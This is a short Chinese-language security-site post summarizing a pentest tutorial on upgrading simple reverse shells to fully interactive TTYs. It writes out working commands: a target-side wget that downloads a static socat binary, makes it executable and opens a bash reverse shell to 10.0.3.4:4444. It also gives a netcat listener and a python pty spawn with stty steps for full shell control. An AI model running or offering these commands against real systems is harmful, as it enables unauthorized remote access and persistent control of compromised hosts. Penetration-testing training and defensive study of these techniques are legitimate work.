标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-39] 作者: fan_renlei 发表于: [2017-07-10]
本文共 [770] 位读者顶过
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
这篇文章,作者分享了一个实用的pentest技巧,将简单shell转换到完全交互式shell(支持history,tab,job控制等等),让在命令行下的hacking的过程体验更好。
[出自:jiwo.org] 第一种方法,直接用静态编译的socat,或者系统自带的 本地机器:socat file:`tty`,raw,echo=0 tcp-listen:4444 目标机器: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 第二种方法 ,利用stty (更实用): $ sudo nc -lvp 80 当获取到反弹的shell后,依次执行 $ python -c 'import pty; pty.spawn("/bin/bash")'Ctrl-Z $ stty raw -echo $ fg $ reset $ export SHELL=bash $ export TERM=xterm-256color
|